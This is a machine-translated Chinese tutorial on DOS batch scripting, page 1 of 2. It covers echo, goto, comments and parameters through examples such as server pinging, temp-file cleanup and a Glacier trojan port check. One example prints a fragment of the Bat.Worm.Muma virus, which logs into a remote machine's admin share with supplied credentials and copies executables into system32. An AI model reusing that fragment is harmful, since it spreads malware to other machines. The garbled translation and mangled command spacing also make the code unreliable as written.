Batch processing (Dos/bat) The most complete humanization tutorial 1th/2 page _dos/bat

Source: Internet
Author: User
Tags echo command goto tag name
This is a technical tutorial, I will use very simple words to express their meaning, you want you to read and understand, you can learn knowledge. The purpose of this tutorial is to let every friend who has read these words remember a word: if love can make things easier, then let it be easy! The way to see this tutorial is slow! Slowly, as a product of a woman, a cup of tea, you will find many before in front of things suddenly become very distant, and some very distant things but suddenly returned to the front.

Let's outline what the batch process is. The definition of batch processing, so far I have not been able to give a suitable----many experts have not given----anyway, I do not know----look at me is not necessarily convinced----I am a rookie, not to mention, of course, but I would like to sum up a "more appropriate", and I also believe that I can explain it very clearly , let more rookie all know this is what dongdong, you use this dongdong can do what thing. Perhaps you will because of this article and "Unconditional love batch", then my goal is reached----I just want to let you love it, I just so drag, what can you do?? Really, love sometimes so drag, is so no reason, is so don't face! It's true!

In my understanding, the nature of batch processing is a set of DOS commands that are arranged in a certain order.

Ok,never Claver and get to business (gossip less about it). Batch, also known as batch script, is translated in English to batch, batch file suffix bat to take the first three letters. Its composition has no fixed format, as long as the following is OK: Each row can be treated as a command, each command can contain multiple note commands, starting from the first line, until the end of the last line, it runs the platform is DOS. Batch processing has a very distinct characteristics: easy to use, flexible, powerful, high degree of automation. I do not want to write my own tutorial boring, because 牵缠 to the code (batch content is code?) The problem is boring, and few people can face the full screen of the code and calm down. So I will use a lot of simple and practical examples to read this tutorial friends to experience batch processing that the radiant charm, feel it that ancient spirit of the character, unconsciously fell in love with batch processing (halo, How is Love?) What does a batch deal have to do with love? Answer: No! )。 Again "gossip": To learn batch processing, DOS basic must be in prison! Of course, brain flexibility is also a very important aspect.

Example one, first give a most easy batch script let everyone and it face familiar with it, the following lines of command to save as Name.bat and then execute (in the next article only give code, save and execute similar):

Ping sz.tencent.com > A.txt
Ping sz1.tencent.com >> a.txt
Ping sz2.tencent.com >> a.txt
Ping sz3.tencent.com >> a.txt
Ping sz4.tencent.com >> a.txt
Ping sz5.tencent.com >> a.txt
Ping sz6.tencent.com >> a.txt
Ping sz7.tencent.com >> a.txt
Exit

Is it possible to read? Is it easy? But its role is very practical, the implementation of this batch, you can build a current disk called A.txt file, it records information can help you quickly find the fastest QQ server, so far away from the "Relay from the server" that painful process. Here > means to put the things in the previous command to the place given in the,>>, and the same as >, the difference is to append the results to the previous line of the results of the result, specifically the next line, and the previous line of command results will be retained, This will make the A.txt file bigger and larger (think about how to sabotage it??) )。 By the way, this batch can also be combined with other commands, make it completely automated to determine the speed of the server, the implementation of direct display of the fastest server IP, is not very cool? It will be described in more detail later.

Second, give an example of an outdated case (A.bat):

@echo off
If exist C:\progra~1\tencent\ad\*.gif del c:\progra~1\tencent\ad\*.gif
A.bat

Why is this an outdated example? Very simple, because now almost no one with advertising qq (KAO, my QQ also show friends measurements!!) ), so it's almost useless. But once its role is not small peep: Delete qq ads, let the dialog box clean. The address used here is the default installation address of QQ, the default batch file name is A.bat, you can of course modify according to the circumstances. The IF command is used in this script, so that it can be timely to determine and delete the effect of advertising pictures, you need to not close the command after the implementation of the DOS window, do not press CTRL + C forced to terminate the command, it has been monitoring whether there are advertising pictures (QQ also constantly check their ads are deleted). Of course this script takes up a little memory of you, hehe.
For example, use batch script to find out whether a middle glacier. The script reads as follows:

@echo off
NETSTAT-A-n > A.txt
Type A.txt | Find "7626" && echo "congratulations! You have infected glacier! "
Del a.txt
Pause & Exit

Here, using the netstat command, check all the network port status, only you know the common Trojans used by the port, you can easily determine whether the race of the glacier. However, this is not certain, because the glacier default port 7626, can be modified completely. Here are just the methods and ideas. Here is the introduction of methods and ideas to make changes, you can check other Trojan script, and then change, add in parameters and port and Information list file, it becomes automatic detection of all Trojan script. Oh, is not very enjoyable? The script also uses the combo command && and Pipe command |, which is described in more detail later.

Example four, the batch processing automatically clears the system garbage, the script is as follows:

@echo off
If exist C:\windows\temp\*.* del c:\windows\temp\*.*
If exist C:\windows\tempor~1\*.* del c:\windows\tempor~1\*.*
If exist C:\windows\history\*.* del c:\windows\history\*.*
If exist C:\windows\recent\*.* del c:\windows\recent\*.*

Save the above script content to the Autoexec.bat, every time when the system garbage to automatically delete. Here need to pay attention to two points: first, DOS does not support long filename, so there is tempor~1 this dongdong, two, can be changed according to their actual situation, make it meet their own requirements.

How about, see here, do you have a bit of interest in batch processing scripts? Do you find yourself falling in love with this stuff? Don't be happy too early, love is not a simple thing, it may bring you happiness and happiness, of course, can make you painful to jump. If you know it's hard to go on, I'm you! Keep working hard, maybe in the end you don't have to get true love (it's really possible, loved ones know), but you can feel the whole process of love, that's all. Sour, bitter and spicy, there is no sweet God knows.

Why does the batch process have anything to do with love? It's not that I'm bored, it's not because it's funny how much, there are two reasons: one, batch processing and love have a lot of the same place, some places I use the "professional" jargon is not clear (I do not doubt their ability to express, but the matter itself is not clear), said = Did not say, But a metaphor of love known to all on Earth (what is Love?) How do I know!! , maybe you will be bright in your heart, with half the effort, why not? Second, my time is not very good, cold fever headache nasal congestion, but the main or emotionally devastated, engaged in the people bored, borrow a few words of the time to write a tutorial, we all when buy Dogskin plaster, completely can omit not to look (perhaps really a little effect----not let you look at the fall asleep, Knock your head off and come to me for reimbursement of medical expenses). Perhaps next time in the tutorial you will see Yang, Zhang Mowgli and other Jin Veteran's heroes.

After reading the first chapter of the friends, must have a preliminary impression of batch processing, know what it is used to do. But do you know where the essence of batch processing is? Actually very simple: the idea must be nimble! Nothing can not be done, only unexpected. This and love is a little different, because the world of love is two of people's world, wishful thinking does not call Love (added: that is called unrequited affection.) Nonsense! and batch processing is a person's heaven, you can do whatever you want, not up to the realm!

Batch processing looks messy, but it's logical, absolutely no less than other programming languages (such as compilations), if you write a script that is a mess, and although every line of command is correct, but from the beginning to the end, not necessarily get the result you want, perhaps a screen of bad command or fail name. This has something in common with love: Steps to run, missing or increased steps can lead to a result that you don't want to see. Fall in love with friends, I believe there is no doubt this sentence. My Love batch processing, the output result is not bad command or fail name, the screen shows: ' Your Love ' is not an internal or external command, nor a running program or batch file. Then the cursor keeps flashing, waiting for the next wrong input.

Starting from this chapter, we will introduce the common commands in batch processing, many common DOS commands have this extensive application in batch script, they are the body part of batch script, but batch processing is more flexible and more automation than DOS. To learn batch processing, DOS must have a relatively solid foundation. Here only some relatively less use (relatively) DOS commands, commonly used commands such as copy, dir, etc. do not introduce (these seemingly simple commands are actually complex, I am afraid I can not say clearly!) )。

Example five, look at an instance first. This is a very interesting script, a small and practical good dongdong, the batch processing "Automation" features reflected incisively and vividly. First introduce the origin of this script: we all know Assembler (MASM) of the machine process, first to the source code to compile, connect, and then execute, and there are many links between the need to enter a lot of things, the trouble is very (only experienced friends understand). How to make this process simple? When we compile the curriculum design, I "was forced" to write this script, use it very cool, hehe. Look at the script content:

@echo off
:: Close Echo
Cls
:: Clean screen
echo this programme are to make the MASM programme automate
::d isplay Info
Echo Edit by codered
::d isplay Info
echo Mailto me:qqkiller*** @sina. com
::d isplay Info
If "%1" = "" Goto usage
:: If input without paramater goto usage
If '%1 ' = = '/? ' Goto usage
:: If Paramater is "/?" Goto usage
If '%1 ' = = ' help ' goto usage
:: If Paramater is ' help ' goto usage
Pause
::p ause to usage
MASM%1.asm
:: Assemble the. ASM Code
if errorlevel 1 pause & Edit%1.asm
:: If error pause to = Error msg and edit the code
Link%1.obj &%1
:: Else link the. obj file and execute the. exe file
: Usage
:: Set Usage
echo usage:this BAT file name [ASM file name]
echo Default BAT file name is START. BAT
::d isplay usage

Do not be scared by this pile of things, calm down to look carefully (recall the first chapter in the first paragraph is how to write!!) )。 has given the explanation of each line of command, two colon after the content of the first line of content to explain E-wen (Afraid of E-Wen's friends do not worry, are very easy, a look will understand, really do not understand the dictionary ah, so lazy? , and does not show up when the script is executed, nor does it have any effect. At the beginning of the 5th line there is a colon, not a clerical error. The specific effect will be described in detail later. In this script MASM and link are assembler and link programs that must and edit programs as well as the source code you want to edit (and, of course, this script, nonsense!). ) together in the current directory. Using this batch script, can be the most possible reduction of manual input, the whole process only need to press a few hit enter, you can achieve from the assembly source code to executable EXE file automation conversion, and have intelligent judgment function: if the assembly when the source code error (assembly is unsuccessful), then automatically suspend the display error message, And after pressing any key to automatically enter the editing source code interface, if the source code compilation is successful, connect, and automatically execute the generated EXE file after the connection. In addition, due to the simplicity and flexibility of the batch command, this script is also good to improve, simple to modify to meet the different friends of the machine habits. is learning the compilation of friends, must not forget the internship!

There are several commands in this script: @, Echo,::, pause,: and Goto,%, and if. And this chapter will cover these several orders.

1, @

This symbol is not unfamiliar to everyone, email the necessary symbol, how it will run to batch processing it? Oh, not its fault, batch processing is inseparable from it, or it is not perfect. Its function is to let the execution window not show the command itself in the line behind it (how to wrap a word!). )。 Oh, popular point of saying, at the beginning of the word, the line of command will not show. In the example V, in the first line of @echo off, the @ function is to have the script not display the following echo off part when executing. Do you understand? Still don't understand? Never mind, read the echo command introduction, Nature will understand.

2, Echo

Chinese is the meaning of "feedback" and "echo". It is actually a switch command, which means that it has only two states: open and close. So there's the echo on and echo off two commands. Executing the echo command directly displays the current ECHO command state (off or on) performing echo off to turn off echoing, and all subsequent commands do not display the command itself, only the result of execution, unless the echo on command is executed. In Example V, the @ command for the first line and the echo off command are combined for two purposes: the echo off command itself is not displayed, and the commands themselves in subsequent lines are not displayed. It's a bit messy, but if you practice, 3 minutes will not be a refund!

Another use of the echo command: You can use it to display information! For example v the penultimate line, the Default BAT file name is START. BAT will appear in the window after the script executes, and the echo command itself does not display (why??). )。
Another use of the echo command two: You can edit a text file directly. Example SIX:
echo nbtstat-a 192.168.0.1 > A.bat
echo nbtstat-a 192.168.0.2 >> A.bat
echo nbtstat-a 192.168.0.3 >> A.bat

The above script content is edited by direct command line input, one back to each line. Finally, a A.bat file is generated in the current directory, and direct execution results.

3.::

The function of this command is simple, which is the annotation command, which is equivalent to the REM command in the batch script. The content behind it does not appear, nor does it work, because it is only a comment, but it increases the readability of the script, similar to the/*............*/in the C language. The Earth people can understand, do not say more.

4, pause

Chinese is the meaning of "pause" (look at your workman), I always think it is the simplest order in batch processing, simple, practical. Its role is to let the current program process pause and display a line of information: Please press any key to continue .... In the case of v this command was used two times, the first role is to let users see the program information, the second is to display the wrong assembly code information (in fact, it does not want to display, but the MASM program in the display of error messages are temporarily stopped it, so that you can see clearly your source code is wrong where).

5.: And Goto

Why combine these two commands together? Because they are inseparable, no matter which one or more of them will go wrong. Goto is a jump command: is a label. When the program runs to Goto, it will automatically jump to: the defined part is executed (is it inseparable?). )。 Example v the 5th line at the beginning of the countdown. A: The program automatically jumps to the part of the label definition when it runs to goto: The result is to display the script usage (usage is the tag name). It is not difficult to see that the goto command is based on this colon and tag name to find where it should jump, they are one by one corresponding relationship. Goto commands are often used in conjunction with the IF command. As for the specific use of these two commands, refer to example five.

Another use of goto command one: End the program prematurely. Use the goto command to jump to a label in the middle of a program, but the content of the label is defined as exiting. Such as:

......
Goto END
......
: End

Here: End in script last line! In fact, this example is very retarded, then the IF command and the combination of commands you know.

6,%

This percent sign is strictly not a command, it is only a batch of parameters (except for the use of multiple%, in the future will be described in detail), but do not think it is just a parameter to underestimate it (see example v how many places to use it?) Less than 51% of the functionality of the batch is reduced. See example Seven:

NET use \\%1\ipc$%3/u: "%2"
Copy 11.BAT \\%1\admin$\system32/y
Copy 13.BAT \\%1\admin$\system32/y
Copy IPC2. BAT \\%1\admin$\system32/y
Copy Nwzi. EXE \\%1\admin$\system32/y
attrib \\%1\admin$\system32\10.bat-r-h-s

The above code is part of the Bat.Worm.Muma virus, and% 1 represents the ip,2% representative of username,3% password. Execution form is: script filename parameter two .... Assuming that the script is saved as A.bat, the execution form is as follows: a IP username password. Here IP, username, password is three parameters, integral (because the program does not run correctly, not because of the lack of parameter syntax is not correct) so in the script execution, the script will automatically use your three parameters in turn (remember, is in turn!). is also one by one the corresponding relationship. ) substitution 1%, 2% and 3%, thus achieving the purpose of flexible use (imagine, if the script directly to the IP, username and password are defined dead, then the role of the script will be fixed, but if the use of%, different parameters can achieve different purposes, is not more flexible? )。

The use of this parameter is also described in the following sections. Must be very skilled to do, this requires a lot of practice process, need to do a little hard work!
Current 1/2 page 12 Next read the full text

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.